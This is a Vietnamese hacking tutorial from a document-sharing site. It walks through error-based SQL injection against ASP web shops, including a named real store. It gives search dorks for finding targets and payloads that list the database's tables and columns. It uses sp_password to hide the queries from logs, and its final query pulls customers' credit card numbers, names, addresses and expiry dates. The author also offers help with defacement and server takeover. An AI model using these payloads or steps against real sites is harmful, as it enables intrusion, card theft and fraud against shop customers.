Hack shop qua lỗi SQL server injection

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:5

Thêm vào BST

Báo xấu

568
lượt xem 122
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`.

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Hack shop qua lỗi SQL server injection

Hack shop qua lỗi SQL server injection trang này đã được đọc lần gioi thieu so qua cho anh em biet ve hack sql server inject ha ! hack bang ky thuat convert noi nom na la convert 1 bieu thuc dang string sang dang int nhung ko the thuc hien duoc gay thong bao loi (co nhung shop ma ta khong nhan duoc thong bao cua no,vi value=hidden),vi the truoc tien de hack duoc shop ODBC MySQL server2000 hay 7.0 thi it nhat anh em cung phai xem qua source 1 chut ha,de roi con biet co nen hack theo cach nao`. o day chi gioi thieu cach convert dung` de lay thong bao loi thoi,neu may bac' can hack ca server thi noi nhieu,noi dai dong lam... Detail: search tren cac trang search engine tuy anh em thich thoi,hien co rat nhieu trang search engine ma anh em thuong dung nhu www.google.com hoac www.froogle.google.com www.av.com www.alltheweb.com yahoo.com ...... oksearch for: allinurl: "/shop/viewproduct.asp" hoac may bac co the search = tu key word allinurl: "/shop/index.asp" (nhung cai tu khoa nay van chua xac nhan duoc tinh dung dan cua no,vi no cho ra tat rat nhieu site,ma ko phai ODBC MySQL database,hic,ma thuong la` JSP(java server page) hoac JET, hoac VB.net....net va de nay can phai co su no luc cua anh em trong viec test. ok co' duoc muc tieu roi chon dai 1 thang,vd: http://www.mcmessentials.com.au/shop/viewp...20&categoryid=5 okay co muc tieu roi bat dau test no ha http://www.mcmessentials.com.au/shop/viewp...tegoryid=5' neu CSDL cua no duoc viet = ODBC MySQL server thi anh em se nhan duoc thong bao sau Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /shop/include/viewproduct.asp, line 3 okay,con neu ko thi ko thay gi het,hoac la` ban phai xem trong source de biet. ok bat dau tim table co the test theo cac cach sau ma em da biet ;having 1=1sp_password
'having 1=1sp_password "having 1=1sp_password (having 1=1sp_password )having 1=1sp_password (space)having 1=1_sp_password (%20 la space la khoang trang day) thuong thi test = cau truy van (space)having 1=1sp_password la duoc duyet qua ok *luu y' cac anh em 1 dieu rat can thiet 1%2b co nghia la dau + nhung ma truyen truc tiep dau + vao se bi SQL filter mat bat buoc phai co sp_password de marks log tranh bi phat hien http://www.mcmessentials.com.au/shop/viewp...=1sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'categories.label' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /shop/include/viewproduct.asp, line 9 ta biet duoc table categories,column la label,bay gio ta di lay tat ca cac table cua column label thuoc table categories bay gio di lay user_name cua shop thong qua cau truy van sau %2bconvert(int,user_name())sp_password day du la` http://www.mcmessentials.com.au/shop/viewp...))sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'braunshop' to a column of data type int. /shop/include/viewproduct.asp, line 3 'braunshop' la truong user_name cua shop *luu y 2truong user_name() la de xac dinh user hien tai,neu no la dbo thi ta co kha nang hack thang vao ca server ma ko can quyen admin,con neu ko thi ta co nhung buoc trung gian de chiem,ok ta dung lai o viec lay cc tu shop ma thoi,ko noi den chuyen chiem ca server,much dich de anh em hoc hoi,va trao doi kinh nghiem la chinh,ko loi keo anh em pha hoai nghiem trong den bat cu ai khac nen toi chi post va dung lai o phan lay cc ma thoi,con neu ai co thu oan gi voi thang nao,muon deface,lay pass,lay root,lay server,host thi lien he voi toi ok bay gio ta se lan luot lay cac table tren column label lay table thu 1 thong qua cau truy van sau %2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables))sp_password day du la`
http://www.mcmessentials.com.au/shop/viewp...))sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'categorieslist' to a column of data type int. /shop/include/viewproduct.asp, line 3 ok table 1 la 'categorieslist',muon lay table thu 2 thi phai dung den where table_name not in('table1') cau truy van nhu sau: %2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where %20table_name%20not% 20in('categorieslist')))sp_password http://www.mcmessentials.com.au/shop/viewp...))sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'allorders' to a column of data type int. /shop/include/viewproduct.asp, line 3 table 2 la` 'allorders' muon lay table thu 3 va cac table co lai thi tiep tu lam tuong tu nhu lay table thu 2 vay %2bconvert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where %20table_name%20not% 20in('categorieslist','allorders')))sp_password day la tat ca cac table cua shop vua lay duoc 'categorieslist','allorders','categories','categorymembers','deliveryZones','dtproperties','essorders','fullorder','key words', 'optiongroupmembers','optiongroups','optiongroupslist','optionmembers','options','optionslist','orderoptions','ord eroptionsoptions','orderproducts','orderproductsproducts','orders','products','productscategories','products options','searchresults','sysconstraints','syssegments' ok sau khi lay duoc tat ca cac table roi thi ban bat dau lay colum cua table,co 2 kieu lay column,1 la lay tat ca cac column,ko co muc dich gi hoac de kiem tra toan bo database,2 la` ta da xac dinh duoc can phai lay column trong table nao,sau do moi lay,toi thi chi lay column trong table nao co cc thoi,'allorders' hoac 'orders' ok ta lay no thoi cau truy van lay column dau tien la` 1lay column tren tat ca cac table,ko can biet no thuoc table nao,lay den khi nao het thi thoi,cau truy van co dang
%2bconvert(int,(select top 1 column_name from information_schema.columns))sp_password duoc column1 roi thi dung where column_name not in('column1') ok ha 2lay column tren table da xac dinh truoc cau truy van nhu sau vi du toi lay column tren table orders %2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders')) sp_password http://www.mcmessentials.com.au/shop/viewp...))sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a column of data type int. /shop/include/viewproduct.asp, line 3 column dau tien la` 'orderid' lay column thu 2 thi can them and column_name not in('orderid') %2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' and column_name not in('orderid')))sp_password http://www.mcmessentials.com.au/shop/viewp...))sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a column of data type int. /shop/include/viewproduct.asp, line 3 va lan luot lay cho het cac column cua table 'orders' khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1 kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi lay cc dau tien %2bconvert(int,(select%20top%201%20cardtype%2b'%20Name:'%2bcardname%2b'%20addr: %20'%2baddress%2b'%20suburb:%20'% 2bsuburb%2b'%20state:%20'%2bstate%2b'%20zip:%20'%2bpostcode%2b'%20country:%20'%2bcountry %2b'%20phone:%20'%2bphone% 2b'%20email:%20'%2bemail%2b'%20cardnumber:%20'%2bcardnumber%2b'%20expireymonth:
%20'%2bexpirymonth%2b'%20year:%20'% 2bexpiryyear%20from%20orders))sp_password lay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien') va lan luot lay het cac credit card co tren do' nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko nham muc dich pha hoai bat cu ai .

CÓ THỂ BẠN MUỐN DOWNLOAD